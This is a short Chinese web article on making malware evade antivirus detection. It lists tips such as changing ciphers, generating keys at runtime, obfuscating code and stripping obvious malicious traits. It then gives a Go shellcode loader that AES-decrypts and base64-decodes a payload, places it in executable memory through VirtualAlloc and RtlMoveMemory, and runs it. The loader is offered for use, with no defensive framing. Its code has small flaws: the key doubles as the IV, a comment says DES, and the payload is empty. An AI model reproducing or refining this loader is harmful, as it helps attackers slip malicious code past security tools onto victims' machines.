提升免杀效果:代码加密与混淆技巧
由于代码中涉及到加密和解密的操作,我们可以通过以下几种方式来提升免杀效果:
-
更改加密算法:可以选择一些较为复杂的加密算法,如RSA、ECC等,这样可以增加对恶意软件的识别难度。
-
动态生成密钥:可以在代码中动态生成密钥,这样可以避免静态分析时对密钥的提取,也可以增加对恶意软件的识别难度。
-
使用混淆器:可以将代码放入混淆器中进行混淆,可以使代码结构更加难以被分析,从而提高免杀效果。
-
去除明显的恶意特征:可以去除一些明显的恶意特征,如过多的系统调用、文件读写等,从而降低被杀软件的概率。
package main
import (
'crypto/aes'
'crypto/cipher'
'encoding/base64'
'fmt'
'syscall'
'unsafe'
)
var (
kernel32 = syscall.NewLazyDLL('kernel32.dll')
VirtualAlloc = kernel32.NewProc('VirtualAlloc')
RtlMoveMemory = kernel32.NewProc('RtlMoveMemory')
)
func build(ddm string) {
sDec, _ := base64.StdEncoding.DecodeString(ddm)
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sDec)), 0x1000|0x2000, 0x40)
_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sDec[0])), uintptr(len(sDec)))
syscall.Syscall(addr, 0, 0, 0, 0)
}
//去掉字符(末尾)
func UnPaddingText1(str []byte) []byte {
n := len(str)
count := int(str[n-1])
newPaddingText := str[:n-count]
return newPaddingText
}
//---------------DES解密--------------------
func DecrptogAES(src, key []byte) []byte {
block, err := aes.NewCipher(key)
if err != nil {
fmt.Println(nil)
return nil
}
blockMode := cipher.NewCBCDecrypter(block, key)
blockMode.CryptBlocks(src, src)
src = UnPaddingText1(src)
return src
}
func main() {
str := ''
key := []byte('UjdEh73Oeiciseds')
base_byte, _ := base64.StdEncoding.DecodeString(str)
build(string(DecrptogAES(base_byte, key)))
}
原文地址: https://www.cveoy.top/t/topic/lPf8 著作权归作者所有。请勿转载和采集!